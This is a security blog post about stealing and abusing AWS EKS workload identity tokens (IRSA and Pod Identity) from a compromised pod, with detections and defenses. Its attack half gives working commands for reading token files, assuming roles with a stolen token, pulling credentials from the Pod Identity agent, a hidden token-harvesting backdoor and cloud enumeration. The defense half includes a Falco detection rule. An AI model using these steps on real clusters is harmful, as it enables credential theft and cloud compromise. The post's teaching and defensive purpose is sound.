Kubernetes / Part 02 of 02
2 of 2
Part 02 // Credential access

Token Theft and Abuse - Compromising IRSA and Pod Identity Authentication

We need to understand how an attacker can actually abuse these workload identity tokens and access cloud resources

Originally published on Medium in January 2026. Updated November 2026 with corrected defenses and detections.

You’ve compromised a pod in an EKS cluster through a command injection vulnerability. The web application gave you a shell inside the container, but the real question is: what can you do from here? Most attackers would celebrate and move on to privilege escalation, but the real treasure is sitting right there in the filesystem: authentication tokens that could give you access to the entire AWS infrastructure.

What happens next can turn a simple web app compromise into full cloud environment access. Today, I’ll walk you through exactly how to extract and abuse both IRSA and Pod Identity tokens, and more importantly, how you can detect and prevent these attacks.


The Moment of Truth: What Do You Actually Have?

When you first compromise a pod, your immediate question should be: “What authentication mechanisms are in play here?” The answer determines your entire attack path.

Let’s start with reconnaissance. The first thing to do is check what’s been injected into the environment:

# Check what AWS-related environment variables exist  
env | grep -i aws  

This tells you immediately whether you’re dealing with IRSA, Pod Identity, or potentially both. Here’s what you’re looking for:

IRSA indicators:

  • AWS_ROLE_ARN
  • AWS_WEB_IDENTITY_TOKEN_FILE

Pod Identity indicators:

  • AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE
  • AWS_CONTAINER_CREDENTIALS_FULL_URI

Legacy instance profile (jackpot):

  • AWS_ACCESS_KEY_ID
  • AWS_SECRET_ACCESS_KEY

Exploiting IRSA: The Classic Token Heist

With IRSA, the attack is straightforward but effective. The JWT token is sitting right there in the filesystem, and once you have it, you can use it from anywhere until it expires.

Step 1: Extract the Token

# The token is always at this location  
cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token > token.txt  

Step 2: Use It Anywhere

Here’s where it gets interesting. Unlike Pod Identity, IRSA tokens can be used completely outside the cluster context:

# Check what we're dealing with  
env | grep AWS

# Use the stolen token to assume the role  
aws sts assume-role-with-web-identity \  
 --role-arn arn:aws:iam::123456789012:role/eks-readonly-role \  
 --role-session-name mysession \  
 --web-identity-token file://token.txt

# Export the returned credentials  
export AWS_ACCESS_KEY_ID="ASIA..."  
export AWS_SECRET_ACCESS_KEY="abc123..."  
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2..."

# Verify access  
aws sts get-caller-identity  

The beauty (from an attacker’s perspective) is that this works from your laptop, a different cloud provider, anywhere with internet access. The token doesn’t care where it’s being used from.

Step 3: Maximize Your Window

IRSA tokens refresh automatically, so if you maintain access to the pod, you can keep harvesting fresh tokens:

# Set up a simple token harvester  
while true; do  
 cp /var/run/secrets/eks.amazonaws.com/serviceaccount/token /tmp/fresh_token_$(date +%s).txt  
 sleep 3600 # Every hour  
done  

Exploiting Pod Identity: The Agent Conversation

Pod Identity requires a different approach. The tokens can’t be used directly with AWS APIs - they need to be exchanged through the Pod Identity Agent. But this actually opens up some interesting attack possibilities.

Method 1: Direct Agent Communication

# Check the environment  
env | grep AWS_CONTAINER

# Use the authorization token to get credentials from the agent  
curl -s -H "Authorization: $(cat $AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE)" \  
 $AWS_CONTAINER_CREDENTIALS_FULL_URI  

Or if you want to do it manually:

# Extract the Pod Identity token  
cat /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token > eks-pod-identity-token

# Talk directly to the agent  
curl -s -H "Authorization: $(cat eks-pod-identity-token)" \  
 http://169.254.170.23/v1/credentials  

Method 2: Credential Harvesting

The response from the agent gives you temporary AWS credentials:

# Store the response and parse it  
CREDS=$(curl -s -H "Authorization: $(cat eks-pod-identity-token)" \  
 http://169.254.170.23/v1/credentials)

# Export the credentials (you'll need to parse the JSON response)  
export AWS_ACCESS_KEY_ID="ASIA..."  
export AWS_SECRET_ACCESS_KEY="abc123..."  
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2..."

# Verify access  
aws sts get-caller-identity  

Advanced Techniques: Going Beyond Basic Token Theft

Persistence Through Pod Restarts

Both authentication methods refresh their tokens, but your access to the pod might not be persistent. Here’s how to maintain access:

# Create a simple backdoor that harvests tokens  
echo '#!/bin/bash  
while true; do  
 if [ -f "/var/run/secrets/eks.amazonaws.com/serviceaccount/token" ]; then  
 cp /var/run/secrets/eks.amazonaws.com/serviceaccount/token /tmp/.hidden_token  
 fi  
 if [ -f "/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token" ]; then  
 cp /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token /tmp/.hidden_pod_token  
 fi  
 sleep 300  
done' > /tmp/.token_harvester.sh

# Run it in the background  
nohup bash /tmp/.token_harvester.sh &  

Lateral Movement Within the Cluster

Once you have AWS credentials, you can potentially access other resources that might give you broader cluster access:

# Check what S3 buckets you can access  
aws s3 ls

# Look for EKS-related resources  
aws eks list-clusters  
aws eks describe-cluster --name cluster-name

# Check for secrets in Parameter Store or Secrets Manager  
aws ssm describe-parameters  
aws secretsmanager list-secrets  

Token Scope Analysis

Understanding exactly what permissions your stolen tokens have is crucial:

# Use a tool like enumerate-iam or aws-iam-enumerate  
# Or manually test common permissions  
aws s3 ls  
aws ec2 describe-instances  
aws iam list-roles  
aws lambda list-functions  

Defense Strategies That Actually Work

If an attacker has a shell in your pod, assume they can read its token. The goal is to make that token worth as little as possible, usable from as few places as possible, and noisy when it is misused.

1. Least Privilege, One Role per Service Account

This is the control that decides how bad a stolen token is.

  • Give each service account its own IAM role, scoped to exactly what that workload needs. Never share one broad role across namespaces.
  • Don’t attach a role to service accounts that don’t need AWS at all.
  • For IRSA, pin both the sub and aud claims in the trust policy, so only one service account in one namespace can assume the role:
"Condition": {
  "StringEquals": {
    "oidc.eks.us-west-2.amazonaws.com/id/EXAMPLED891D7173E53JM9B716D3041E:sub": "system:serviceaccount:production:my-app-sa",
    "oidc.eks.us-west-2.amazonaws.com/id/EXAMPLED891D7173E53JM9B716D3041E:aud": "sts.amazonaws.com"
  }
}
  • Block the fallback path: require IMDSv2 with a hop limit of 1 on worker nodes, so a compromised pod can’t reach the node’s instance role instead.

2. Container Hardening

Hardening doesn’t stop a process in the pod from reading its own token, but it removes the tooling and the easy paths an attacker relies on after landing:

apiVersion: v1
kind: Pod
metadata:
  name: app
spec:
  serviceAccountName: my-app-sa
  containers:
  - name: app
    # Pin images by digest, not a mutable tag like :latest
    image: registry.example.com/my-app@sha256:<digest>
    securityContext:
      runAsNonRoot: true
      runAsUser: 1000
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      capabilities:
        drop:
        - ALL

Minimal or distroless images help most here: no shell, no curl, no package manager.

3. Network Controls

Block the instance metadata endpoint for pods, while leaving the Pod Identity Agent (169.254.170.23) reachable, because the SDK needs it:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-instance-metadata
  namespace: production
spec:
  podSelector: {}
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32

Two caveats. NetworkPolicy is only enforced if your CNI supports it (the VPC CNI’s network policy feature, Calico, or Cilium), and it doesn’t apply to hostNetwork pods. Keep IMDSv2 with hop limit 1 as the backstop.

4. Bind Credentials to Your Network (a Data Perimeter)

Stolen IRSA tokens work from anywhere, because AssumeRoleWithWebIdentity will issue credentials to any caller holding a valid token. You can’t stop that call, but you can make the resulting credentials useless outside your network by adding conditions to the role’s permissions:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowReadsOnlyFromOurVpc",
      "Effect": "Allow",
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::my-specific-bucket/*",
      "Condition": {
        "StringEquals": {
          "aws:SourceVpc": "vpc-0abc1234def567890"
        }
      }
    }
  ]
}

Pick the condition key that matches how your pods reach AWS:

  • Through VPC endpoints (for example an S3 gateway endpoint): use aws:SourceVpc or aws:SourceVpce. These are only set on requests that arrive through an endpoint.
  • Through a NAT gateway: use aws:SourceIp with your NAT gateways’ public Elastic IPs. AWS sees the NAT’s public address, so a private range like 10.0.0.0/8 would deny your own pods.

At organization scale, the same idea is enforced with SCPs and resource control policies as a data perimeter.

5. Monitoring and Detection in CloudTrail

The two mechanisms leave different trails, so alert on each:

  • IRSA: an AssumeRoleWithWebIdentity event, where userIdentity.type is WebIdentityUser and the identity provider is your cluster’s OIDC issuer. Alert when sourceIPAddress is not one of your NAT gateway IPs or VPC endpoints.
  • Pod Identity: credentials are issued through the EKS Auth API (AssumeRoleForPodIdentity), called by the agent on the node. The theft shows up in what happens next.
  • For both: watch API calls made with a workload role’s session from unexpected source IPs, unusual user agents (aws-cli from a role that normally only uses an SDK), or bursts of enumeration calls (List*, Describe*, GetCallerIdentity).
{
  "eventName": "AssumeRoleWithWebIdentity",
  "sourceIPAddress": "203.0.113.10",
  "userAgent": "aws-cli/2.x",
  "userIdentity": {
    "type": "WebIdentityUser",
    "identityProvider": "arn:aws:iam::123456789012:oidc-provider/oidc.eks.us-west-2.amazonaws.com/id/EXAMPLED891D7173E53JM9B716D3041E"
  }
}

6. Runtime Detection Inside the Cluster

The application itself reads its token through the SDK, so a rule that fires on every read is just noise. What stands out is an unexpected process reading the token or calling the credential endpoints. A Falco rule along these lines catches the manual techniques above:

- rule: Workload identity token read by unexpected process
  desc: A shell or transfer tool read an EKS projected AWS token
  condition: >
    open_read and container
    and (fd.name startswith /var/run/secrets/eks.amazonaws.com/serviceaccount/
         or fd.name startswith /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/)
    and proc.name in (cat, cp, dd, base64, curl, wget)
  output: >
    AWS token read by unexpected process
    (proc=%proc.name cmdline=%proc.cmdline container=%container.name)
  priority: WARNING

Tune the process list per workload, and pair it with a rule for curl or wget connecting to 169.254.170.23 or 169.254.169.254. Amazon GuardDuty’s EKS Runtime Monitoring covers similar behavior if you’d rather not run your own rules.

Understanding the Attack Impact

Token theft attacks can have severe consequences. Stolen tokens with overly broad permissions can lead to:

  • Complete infrastructure visibility across multiple AWS accounts
  • Access to sensitive data in S3 buckets, RDS databases, and other services 
  • Ability to modify resources and create backdoors
  • Lateral movement to other cloud services and environments

The time from initial pod compromise to significant data access can be measured in minutes, not hours or days.

What’s Next in This Series

Token theft is half the story. The other half is what an attacker can do once they get out of the pod and onto the node. Before writing that up, I put the container mechanics on the table in Six Layers Between a Container and Your Host , which covers exactly which layer has to fail for a pod to reach node-level credentials.

The Bottom Line

These aren’t theoretical attacks. These techniques work reliably against poorly configured clusters in real-world scenarios. The good news is that least-privilege roles, network-bound credentials, and detection on token misuse make them far less valuable and far easier to spot.

The key insight is that both IRSA and Pod Identity are secure by design, but they can’t protect against poor implementation. If an attacker gets shell access to your pod, those tokens are compromised. Plan accordingly.


Have you bound your EKS workload roles to your network with VPC or IP conditions? What monitoring are you doing for unusual AWS API patterns? I’m curious to hear what defensive strategies are working in real environments.

Back to Kubernetes